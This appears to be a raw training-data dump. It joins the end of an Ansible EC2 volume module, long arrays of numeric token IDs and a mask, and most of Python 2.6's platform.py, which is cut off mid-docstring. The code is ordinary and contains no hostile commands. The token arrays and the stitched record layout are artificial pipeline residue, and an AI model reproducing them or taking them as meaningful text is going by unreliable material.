argument_spec.update(dict( instance = dict(), id = dict(), name = dict(), volume_size = dict(), volume_type = dict(choices=['standard', 'gp2', 'io1'], default='standard'), iops = dict(), encrypted = dict(), device_name = dict(), zone = dict(aliases=['availability_zone', 'aws_zone', 'ec2_zone']), snapshot = dict(), state = dict(choices=['absent', 'present', 'list'], default='present') ) ) module = AnsibleModule(argument_spec=argument_spec) if not HAS_BOTO: module.fail_json(msg='boto required for this module') id = module.params.get('id') name = module.params.get('name') instance = module.params.get('instance') volume_size = module.params.get('volume_size') volume_type = module.params.get('volume_type') iops = module.params.get('iops') encrypted = module.params.get('encrypted') device_name = module.params.get('device_name') zone = module.params.get('zone') snapshot = module.params.get('snapshot') state = module.params.get('state') if instance == 'None' or instance == '': instance = None ec2 = ec2_connect(module) if state == 'list': returned_volumes = [] vols = get_volumes(module, ec2) for v in vols: attachment = v.attach_data returned_volumes.append({ 'create_time': v.create_time, 'id': v.id, 'iops': v.iops, 'size': v.size, 'snapshot_id': v.snapshot_id, 'status': v.status, 'type': v.type, 'zone': v.zone, 'attachment_set': { 'attach_time': attachment.attach_time, 'device': attachment.device, 'status': attachment.status } }) module.exit_json(changed=False, volumes=returned_volumes) if encrypted and not boto_supports_volume_encryption(): module.fail_json(msg="You must use boto >= v2.29.0 to use encrypted volumes") # Here we need to get the zone info for the instance. This covers situation where # instance is specified but zone isn't. # Useful for playbooks chaining instance launch with volume create + attach and where the # zone doesn't matter to the user. if instance: reservation = ec2.get_all_instances(instance_ids=instance) inst = reservation[0].instances[0] zone = inst.placement # Check if there is a volume already mounted there. if device_name: if device_name in inst.block_device_mapping: module.exit_json(msg="Volume mapping for %s already exists on instance %s" % (device_name, instance), volume_id=inst.block_device_mapping[device_name].volume_id, device=device_name, changed=False) # Delaying the checks until after the instance check allows us to get volume ids for existing volumes # without needing to pass an unused volume_size if not volume_size and not (id or name or snapshot): module.fail_json(msg="You must specify volume_size or identify an existing volume by id, name, or snapshot") if volume_size and (id or snapshot): module.fail_json(msg="Cannot specify volume_size together with id or snapshot") if state == 'absent': delete_volume(module, ec2) if state == 'present': volume = create_volume(module, ec2, zone) if instance: attach_volume(module, ec2, volume, inst) else: detach_volume(module, ec2) module.exit_json(volume_id=volume.id, device=device_name, volume_type=volume.type) # import module snippets from ansible.module_utils.basic import * from ansible.module_utils.ec2 import * main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 7062, 18, 63, 5650, 199, 3612, 63, 1802, 26, 1218, 436, 6554, 282, 3301, 12, 372, 3301, 1305, 436, 2243, 2341, 199, 1802, 26, 272, 446, 8491, 376, 662, 11087, 3301, 436, 14190, 6554, 397, 652, 370, 376, 1256, 14, 221, 982, 3865, 376, 1256, 2870, 436, 282, 2243, 536, 365, 1627, 436, 314, 1256, 965, 282, 2243, 737, 314, 2243, 536, 12, 2066, 949, 3301, 365, 2737, 436, 949, 12193, 365, 6326, 14, 221, 961, 859, 965, 282, 5936, 641, 2366, 13, 10914, 14, 199, 1023, 63, 3270, 26, 298, 17, 14, 17, 2, 199, 1419, 26, 523, 1256, 26, 272, 1369, 26, 489, 446, 1256, 2870, 340, 1265, 13809, 370, 6554, 314, 3301, 14, 9336, 413, 14, 25, 1265, 883, 663, 370, 488, 370, 21236, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 523, 536, 26, 272, 1369, 26, 489, 446, 3301, 2812, 1947, 340, 1265, 13809, 370, 6554, 376, 3411, 3301, 334, 6537, 1256, 9, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 22, 2, 523, 1305, 26, 272, 1369, 26, 489, 446, 3301, 1305, 340, 1265, 13809, 370, 6554, 376, 3411, 3301, 334, 6537, 1256, 9, 503, 2813, 376, 3411, 3301, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 22, 2, 523, 3301, 63, 890, 26, 272, 1369, 26, 489, 446, 1568, 402, 3301, 334, 262, 18553, 9, 370, 1218, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 523, 3301, 63, 466, 26, 272, 1369, 26, 489, 446, 2434, 402, 662, 11087, 3301, 27, 4465, 334, 5615, 685, 764, 395, 15852, 18, 334, 2300, 36, 395, 5890, 17, 334, 919, 31310, 473, 21665, 680, 298, 9232, 2, 365, 314, 2269, 662, 11087, 849, 267, 436, 32438, 370, 5706, 314, 2622, 849, 367, 8552, 7163, 14, 5591, 1415, 26, 3055, 272, 849, 26, 4465, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 25, 2, 523, 284, 1483, 26, 272, 1369, 26, 489, 446, 314, 1727, 12308, 473, 1938, 83, 1265, 2934, 370, 20133, 543, 642, 3301, 334, 4115, 680, 272, 1415, 26, 3055, 272, 849, 26, 2948, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 19, 2, 523, 14862, 26, 272, 1369, 26, 489, 446, 12030, 14396, 737, 4618, 367, 642, 3301, 14, 272, 849, 26, 3055, 272, 1015, 63, 3270, 26, 298, 17, 14, 24, 2, 523, 2243, 63, 354, 26, 272, 1369, 26, 489, 446, 2243, 1305, 370, 4278, 2243, 4412, 14, 30451, 1182, 2374, 15, 83, 1587, 367, 10130, 15, 19584, 436, 1182, 2374, 15, 25466, 1587, 367, 5417, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 523, 4897, 26, 272, 1369, 26, 489, 446, 710, 10168, 4897, 370, 675, 14, 982, 440, 2013, 2066, 314, 574, 402, 314, 15352, 18, 63, 23030, 3734, 1750, 12, 340, 1263, 12, 365, 1202, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 788, 7231, 63, 4551, 297, 283, 825, 18, 63, 4551, 418, 523, 5718, 26, 272, 1369, 26, 489, 446, 5718, 315, 1314, 370, 1218, 314, 3301, 12, 340, 15376, 4440, 314, 5718, 314, 1256, 365, 315, 334, 692, 663, 9, 5591, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 788, 7231, 63, 2619, 297, 283, 825, 18, 63, 2619, 418, 523, 5740, 26, 272, 1369, 26, 489, 446, 5740, 2870, 641, 1314, 370, 1300, 314, 3301, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 1015, 63, 3270, 26, 298, 17, 14, 21, 2, 523, 4107, 63, 8356, 26, 272, 1369, 26, 489, 446, 3979, 663, 370, 298, 889, 401, 7799, 14512, 911, 440, 506, 16468, 367, 6055, 5459, 2356, 499, 14, 22, 14, 16, 14, 272, 1415, 26, 3055, 272, 849, 26, 298, 5066, 2, 272, 3415, 26, 2097, 5066, 401, 298, 889, 937, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 21, 2, 523, 1174, 26, 272, 1369, 26, 15166, 446, 3775, 370, 4868, 314, 3301, 365, 3451, 503, 9552, 12, 503, 370, 769, 3411, 12158, 334, 1918, 445, 8, 513, 9, 945, 1990, 3483, 315, 1015, 413, 14, 24, 680, 272, 1415, 26, 3055, 272, 849, 26, 3451, 272, 3415, 26, 788, 5575, 297, 283, 1881, 297, 283, 513, 418, 272, 1015, 63, 3270, 26, 298, 17, 14, 22, 2, 199, 2502, 26, 298, 44, 17338, 644, 9587, 8593, 76, 758, 271, 2924, 199, 11036, 63, 9970, 63, 7677, 26, 11488, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 5870, 12193, 1595, 199, 13, 7062, 18, 63, 5650, 26, 5591, 1256, 26, 5787, 13933, 5591, 3301, 63, 890, 26, 959, 5591, 2243, 63, 354, 26, 308, 617, 199, 199, 3, 5679, 1808, 3537, 284, 1483, 1862, 259, 199, 13, 7062, 18, 63, 5650, 26, 272, 1256, 26, 5787, 13933, 5591, 3301, 63, 890, 26, 959, 5591, 284, 1483, 26, 1926, 272, 2243, 63, 354, 26, 308, 617, 199, 199, 3, 5679, 1808, 5740, 1305, 199, 13 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 7062, 18, 63, 5650, 199, 3612, 63, 1802, 26, 1218, 436, 6554, 282, 3301, 12, 372, 3301, 1305, 436, 2243, 2341, 199, 1802, 26, 272, 446, 8491, 376, 662, 11087, 3301, 436, 14190, 6554, 397, 652, 370, 376, 1256, 14, 221, 982, 3865, 376, 1256, 2870, 436, 282, 2243, 536, 365, 1627, 436, 314, 1256, 965, 282, 2243, 737, 314, 2243, 536, 12, 2066, 949, 3301, 365, 2737, 436, 949, 12193, 365, 6326, 14, 221, 961, 859, 965, 282, 5936, 641, 2366, 13, 10914, 14, 199, 1023, 63, 3270, 26, 298, 17, 14, 17, 2, 199, 1419, 26, 523, 1256, 26, 272, 1369, 26, 489, 446, 1256, 2870, 340, 1265, 13809, 370, 6554, 314, 3301, 14, 9336, 413, 14, 25, 1265, 883, 663, 370, 488, 370, 21236, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 523, 536, 26, 272, 1369, 26, 489, 446, 3301, 2812, 1947, 340, 1265, 13809, 370, 6554, 376, 3411, 3301, 334, 6537, 1256, 9, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 22, 2, 523, 1305, 26, 272, 1369, 26, 489, 446, 3301, 1305, 340, 1265, 13809, 370, 6554, 376, 3411, 3301, 334, 6537, 1256, 9, 503, 2813, 376, 3411, 3301, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 22, 2, 523, 3301, 63, 890, 26, 272, 1369, 26, 489, 446, 1568, 402, 3301, 334, 262, 18553, 9, 370, 1218, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 523, 3301, 63, 466, 26, 272, 1369, 26, 489, 446, 2434, 402, 662, 11087, 3301, 27, 4465, 334, 5615, 685, 764, 395, 15852, 18, 334, 2300, 36, 395, 5890, 17, 334, 919, 31310, 473, 21665, 680, 298, 9232, 2, 365, 314, 2269, 662, 11087, 849, 267, 436, 32438, 370, 5706, 314, 2622, 849, 367, 8552, 7163, 14, 5591, 1415, 26, 3055, 272, 849, 26, 4465, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 25, 2, 523, 284, 1483, 26, 272, 1369, 26, 489, 446, 314, 1727, 12308, 473, 1938, 83, 1265, 2934, 370, 20133, 543, 642, 3301, 334, 4115, 680, 272, 1415, 26, 3055, 272, 849, 26, 2948, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 19, 2, 523, 14862, 26, 272, 1369, 26, 489, 446, 12030, 14396, 737, 4618, 367, 642, 3301, 14, 272, 849, 26, 3055, 272, 1015, 63, 3270, 26, 298, 17, 14, 24, 2, 523, 2243, 63, 354, 26, 272, 1369, 26, 489, 446, 2243, 1305, 370, 4278, 2243, 4412, 14, 30451, 1182, 2374, 15, 83, 1587, 367, 10130, 15, 19584, 436, 1182, 2374, 15, 25466, 1587, 367, 5417, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 942, 523, 4897, 26, 272, 1369, 26, 489, 446, 710, 10168, 4897, 370, 675, 14, 982, 440, 2013, 2066, 314, 574, 402, 314, 15352, 18, 63, 23030, 3734, 1750, 12, 340, 1263, 12, 365, 1202, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 788, 7231, 63, 4551, 297, 283, 825, 18, 63, 4551, 418, 523, 5718, 26, 272, 1369, 26, 489, 446, 5718, 315, 1314, 370, 1218, 314, 3301, 12, 340, 15376, 4440, 314, 5718, 314, 1256, 365, 315, 334, 692, 663, 9, 5591, 1415, 26, 3055, 272, 849, 26, 2973, 272, 5481, 26, 788, 7231, 63, 2619, 297, 283, 825, 18, 63, 2619, 418, 523, 5740, 26, 272, 1369, 26, 489, 446, 5740, 2870, 641, 1314, 370, 1300, 314, 3301, 272, 1415, 26, 3055, 272, 849, 26, 2973, 272, 1015, 63, 3270, 26, 298, 17, 14, 21, 2, 523, 4107, 63, 8356, 26, 272, 1369, 26, 489, 446, 3979, 663, 370, 298, 889, 401, 7799, 14512, 911, 440, 506, 16468, 367, 6055, 5459, 2356, 499, 14, 22, 14, 16, 14, 272, 1415, 26, 3055, 272, 849, 26, 298, 5066, 2, 272, 3415, 26, 2097, 5066, 401, 298, 889, 937, 272, 5481, 26, 942, 272, 1015, 63, 3270, 26, 298, 17, 14, 21, 2, 523, 1174, 26, 272, 1369, 26, 15166, 446, 3775, 370, 4868, 314, 3301, 365, 3451, 503, 9552, 12, 503, 370, 769, 3411, 12158, 334, 1918, 445, 8, 513, 9, 945, 1990, 3483, 315, 1015, 413, 14, 24, 680, 272, 1415, 26, 3055, 272, 849, 26, 3451, 272, 3415, 26, 788, 5575, 297, 283, 1881, 297, 283, 513, 418, 272, 1015, 63, 3270, 26, 298, 17, 14, 22, 2, 199, 2502, 26, 298, 44, 17338, 644, 9587, 8593, 76, 758, 271, 2924, 199, 11036, 63, 9970, 63, 7677, 26, 11488, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 5870, 12193, 1595, 199, 13, 7062, 18, 63, 5650, 26, 5591, 1256, 26, 5787, 13933, 5591, 3301, 63, 890, 26, 959, 5591, 2243, 63, 354, 26, 308, 617, 199, 199, 3, 5679, 1808, 3537, 284, 1483, 1862, 259, 199, 13, 7062, 18, 63, 5650, 26, 272, 1256, 26, 5787, 13933, 5591, 3301, 63, 890, 26, 959, 5591, 284, 1483, 26, 1926, 272, 2243, 63, 354, 26, 308, 617, 199, 199, 3, 5679, 1808, 5740, 1305, 199, 13, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
MalloyPower/parsing-python
front-end/testsuite-python-lib/Python-2.6/Lib/platform.py
7
51563
#!/usr/bin/env python """ This module tries to retrieve as much platform-identifying data as possible. It makes this information available via function APIs. If called from the command line, it prints the platform information concatenated as single string to stdout. The output format is useable as part of a filename. """ # This module is maintained by Marc-Andre Lemburg <mal@egenix.com>. # If you find problems, please submit bug reports/patches via the # Python SourceForge Project Page and assign them to "lemburg". # # Note: Please keep this module compatible to Python 1.5.2. # # Still needed: # * more support for WinCE # * support for MS-DOS (PythonDX ?) # * support for Amiga and other still unsupported platforms running Python # * support for additional Linux distributions # # Many thanks to all those who helped adding platform-specific # checks (in no particular order): # # Charles G Waldman, David Arnold, Gordon McMillan, Ben Darnell, # Jeff Bauer, Cliff Crawford, Ivan Van Laningham, Josef # Betancourt, Randall Hopper, Karl Putland, John Farrell, Greg # Andruk, Just van Rossum, Thomas Heller, Mark R. Levinson, Mark # Hammond, Bill Tutt, Hans Nowak, Uwe Zessin (OpenVMS support), # Colin Kong, Trent Mick, Guido van Rossum, Anthony Baxter # # History: # # <see CVS and SVN checkin messages for history> # # 1.0.6 - added linux_distribution() # 1.0.5 - fixed Java support to allow running the module on Jython # 1.0.4 - added IronPython support # 1.0.3 - added normalization of Windows system name # 1.0.2 - added more Windows support # 1.0.1 - reformatted to make doc.py happy # 1.0.0 - reformatted a bit and checked into Python CVS # 0.8.0 - added sys.version parser and various new access # APIs (python_version(), python_compiler(), etc.) # 0.7.2 - fixed architecture() to use sizeof(pointer) where available # 0.7.1 - added support for Caldera OpenLinux # 0.7.0 - some fixes for WinCE; untabified the source file # 0.6.2 - support for OpenVMS - requires version 1.5.2-V006 or higher and # vms_lib.getsyi() configured # 0.6.1 - added code to prevent 'uname -p' on platforms which are # known not to support it # 0.6.0 - fixed win32_ver() to hopefully work on Win95,98,NT and Win2k; # did some cleanup of the interfaces - some APIs have changed # 0.5.5 - fixed another type in the MacOS code... should have # used more coffee today ;-) # 0.5.4 - fixed a few typos in the MacOS code # 0.5.3 - added experimental MacOS support; added better popen() # workarounds in _syscmd_ver() -- still not 100% elegant # though # 0.5.2 - fixed uname() to return '' instead of 'unknown' in all # return values (the system uname command tends to return # 'unknown' instead of just leaving the field emtpy) # 0.5.1 - included code for slackware dist; added exception handlers # to cover up situations where platforms don't have os.popen # (e.g. Mac) or fail on socket.gethostname(); fixed libc # detection RE # 0.5.0 - changed the API names referring to system commands to *syscmd*; # added java_ver(); made syscmd_ver() a private # API (was system_ver() in previous versions) -- use uname() # instead; extended the win32_ver() to also return processor # type information # 0.4.0 - added win32_ver() and modified the platform() output for WinXX # 0.3.4 - fixed a bug in _follow_symlinks() # 0.3.3 - fixed popen() and "file" command invokation bugs # 0.3.2 - added architecture() API and support for it in platform() # 0.3.1 - fixed syscmd_ver() RE to support Windows NT # 0.3.0 - added system alias support # 0.2.3 - removed 'wince' again... oh well. # 0.2.2 - added 'wince' to syscmd_ver() supported platforms # 0.2.1 - added cache logic and changed the platform string format # 0.2.0 - changed the API to use functions instead of module globals # since some action take too long to be run on module import # 0.1.0 - first release # # You can always get the latest version of this module at: # # http://www.egenix.com/files/python/platform.py # # If that URL should fail, try contacting the author. __copyright__ = """ Copyright (c) 1999-2000, Marc-Andre Lemburg; mailto:mal@lemburg.com Copyright (c) 2000-2008, eGenix.com Software GmbH; mailto:info@egenix.com Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee or royalty is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation or portions thereof, including modifications, that you make. EGENIX.COM SOFTWARE GMBH DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE ! """ __version__ = '1.0.6' import sys,string,os,re ### Platform specific APIs _libc_search = re.compile(r'(__libc_init)' '|' '(GLIBC_([0-9.]+))' '|' '(libc(_\w+)?\.so(?:\.(\d[0-9.]*))?)') def libc_ver(executable=sys.executable,lib='',version='', chunksize=2048): """ Tries to determine the libc version that the file executable (which defaults to the Python interpreter) is linked against. Returns a tuple of strings (lib,version) which default to the given parameters in case the lookup fails. Note that the function has intimate knowledge of how different libc versions add symbols to the executable and thus is probably only useable for executables compiled using gcc. The file is read and scanned in chunks of chunksize bytes. """ if hasattr(os.path, 'realpath'): # Python 2.2 introduced os.path.realpath(); it is used # here to work around problems with Cygwin not being # able to open symlinks for reading executable = os.path.realpath(executable) f = open(executable,'rb') binary = f.read(chunksize) pos = 0 while 1: m = _libc_search.search(binary,pos) if not m: binary = f.read(chunksize) if not binary: break pos = 0 continue libcinit,glibc,glibcversion,so,threads,soversion = m.groups() if libcinit and not lib: lib = 'libc' elif glibc: if lib != 'glibc': lib = 'glibc' version = glibcversion elif glibcversion > version: version = glibcversion elif so: if lib != 'glibc': lib = 'libc' if soversion > version: version = soversion if threads and version[-len(threads):] != threads: version = version + threads pos = m.end() f.close() return lib,version def _dist_try_harder(distname,version,id): """ Tries some special tricks to get the distribution information in case the default method fails. Currently supports older SuSE Linux, Caldera OpenLinux and Slackware Linux distributions. """ if os.path.exists('/var/adm/inst-log/info'): # SuSE Linux stores distribution information in that file info = open('/var/adm/inst-log/info').readlines() distname = 'SuSE' for line in info: tv = string.split(line) if len(tv) == 2: tag,value = tv else: continue if tag == 'MIN_DIST_VERSION': version = string.strip(value) elif tag == 'DIST_IDENT': values = string.split(value,'-') id = values[2] return distname,version,id if os.path.exists('/etc/.installed'): # Caldera OpenLinux has some infos in that file (thanks to Colin Kong) info = open('/etc/.installed').readlines() for line in info: pkg = string.split(line,'-') if len(pkg) >= 2 and pkg[0] == 'OpenLinux': # XXX does Caldera support non Intel platforms ? If yes, # where can we find the needed id ? return 'OpenLinux',pkg[1],id if os.path.isdir('/usr/lib/setup'): # Check for slackware verson tag file (thanks to Greg Andruk) verfiles = os.listdir('/usr/lib/setup') for n in range(len(verfiles)-1, -1, -1): if verfiles[n][:14] != 'slack-version-': del verfiles[n] if verfiles: verfiles.sort() distname = 'slackware' version = verfiles[-1][14:] return distname,version,id return distname,version,id _release_filename = re.compile(r'(\w+)[-_](release|version)') _lsb_release_version = re.compile(r'(.+)' ' release ' '([\d.]+)' '[^(]*(?:\((.+)\))?') _release_version = re.compile(r'([^0-9]+)' '(?: release )?' '([\d.]+)' '[^(]*(?:\((.+)\))?') # See also http://www.novell.com/coolsolutions/feature/11251.html # and http://linuxmafia.com/faq/Admin/release-files.html # and http://data.linux-ntfs.org/rpm/whichrpm # and http://www.die.net/doc/linux/man/man1/lsb_release.1.html _supported_dists = ( 'SuSE', 'debian', 'fedora', 'redhat', 'centos', 'mandrake', 'mandriva', 'rocks', 'slackware', 'yellowdog', 'gentoo', 'UnitedLinux', 'turbolinux') def _parse_release_file(firstline): # Parse the first line m = _lsb_release_version.match(firstline) if m is not None: # LSB format: "distro release x.x (codename)" return tuple(m.groups()) # Pre-LSB format: "distro x.x (codename)" m = _release_version.match(firstline) if m is not None: return tuple(m.groups()) # Unkown format... take the first two words l = string.split(string.strip(firstline)) if l: version = l[0] if len(l) > 1: id = l[1] else: id = '' return '', version, id def _test_parse_release_file(): for input, output in ( # Examples of release file contents: ('SuSE Linux 9.3 (x86-64)', ('SuSE Linux ', '9.3', 'x86-64')) ('SUSE LINUX 10.1 (X86-64)', ('SUSE LINUX ', '10.1', 'X86-64')) ('SUSE LINUX 10.1 (i586)', ('SUSE LINUX ', '10.1', 'i586')) ('Fedora Core release 5 (Bordeaux)', ('Fedora Core', '5', 'Bordeaux')) ('Red Hat Linux release 8.0 (Psyche)', ('Red Hat Linux', '8.0', 'Psyche')) ('Red Hat Linux release 9 (Shrike)', ('Red Hat Linux', '9', 'Shrike')) ('Red Hat Enterprise Linux release 4 (Nahant)', ('Red Hat Enterprise Linux', '4', 'Nahant')) ('CentOS release 4', ('CentOS', '4', None)) ('Rocks release 4.2.1 (Cydonia)', ('Rocks', '4.2.1', 'Cydonia')) ): parsed = _parse_release_file(input) if parsed != output: print (input, parsed) def linux_distribution(distname='', version='', id='', supported_dists=_supported_dists, full_distribution_name=1): """ Tries to determine the name of the Linux OS distribution name. The function first looks for a distribution release file in /etc and then reverts to _dist_try_harder() in case no suitable files are found. supported_dists may be given to define the set of Linux distributions to look for. It defaults to a list of currently supported Linux distributions identified by their release file name. If full_distribution_name is true (default), the full distribution read from the OS is returned. Otherwise the short name taken from supported_dists is used. Returns a tuple (distname,version,id) which default to the args given as parameters. """ try: etc = os.listdir('/etc') except os.error: # Probably not a Unix system return distname,version,id etc.sort() for file in etc: m = _release_filename.match(file) if m is not None: _distname,dummy = m.groups() if _distname in supported_dists: distname = _distname break else: return _dist_try_harder(distname,version,id) # Read the first line f = open('/etc/'+file, 'r') firstline = f.readline() f.close() _distname, _version, _id = _parse_release_file(firstline) if _distname and full_distribution_name: distname = _distname if _version: version = _version if _id: id = _id return distname, version, id # To maintain backwards compatibility: def dist(distname='',version='',id='', supported_dists=_supported_dists): """ Tries to determine the name of the Linux OS distribution name. The function first looks for a distribution release file in /etc and then reverts to _dist_try_harder() in case no suitable files are found. Returns a tuple (distname,version,id) which default to the args given as parameters. """ return linux_distribution(distname, version, id, supported_dists=supported_dists, full_distribution_name=0) class _popen: """ Fairly portable (alternative) popen implementation. This is mostly needed in case os.popen() is not available, or doesn't work as advertised, e.g. in Win9X GUI programs like PythonWin or IDLE. Writing to the pipe is currently not supported. """ tmpfile = '' pipe = None bufsize = None mode = 'r' def __init__(self,cmd,mode='r',bufsize=None): if mode != 'r': raise ValueError,'popen()-emulation only supports read mode' import tempfile self.tmpfile = tmpfile = tempfile.mktemp() os.system(cmd + ' > %s' % tmpfile) self.pipe = open(tmpfile,'rb') self.bufsize = bufsize self.mode = mode def read(self): return self.pipe.read() def readlines(self): if self.bufsize is not None: return self.pipe.readlines() def close(self, remove=os.unlink,error=os.error): if self.pipe: rc = self.pipe.close() else: rc = 255 if self.tmpfile: try: remove(self.tmpfile) except error: pass return rc # Alias __del__ = close def popen(cmd, mode='r', bufsize=None): """ Portable popen() interface. """ # Find a working popen implementation preferring win32pipe.popen # over os.popen over _popen popen = None if os.environ.get('OS','') == 'Windows_NT': # On NT win32pipe should work; on Win9x it hangs due to bugs # in the MS C lib (see MS KnowledgeBase article Q150956) try: import win32pipe except ImportError: pass else: popen = win32pipe.popen if popen is None: if hasattr(os,'popen'): popen = os.popen # Check whether it works... it doesn't in GUI programs # on Windows platforms if sys.platform == 'win32': # XXX Others too ? try: popen('') except os.error: popen = _popen else: popen = _popen if bufsize is None: return popen(cmd,mode) else: return popen(cmd,mode,bufsize) def _norm_version(version, build=''): """ Normalize the version and build strings and return a single version string using the format major.minor.build (or patchlevel). """ l = string.split(version,'.') if build: l.append(build) try: ints = map(int,l) except ValueError: strings = l else: strings = map(str,ints) version = string.join(strings[:3],'.') return version _ver_output = re.compile(r'(?:([\w ]+) ([\w.]+) ' '.*' 'Version ([\d.]+))') def _syscmd_ver(system='', release='', version='', supported_platforms=('win32','win16','dos','os2')): """ Tries to figure out the OS version used and returns a tuple (system,release,version). It uses the "ver" shell command for this which is known to exists on Windows, DOS and OS/2. XXX Others too ? In case this fails, the given 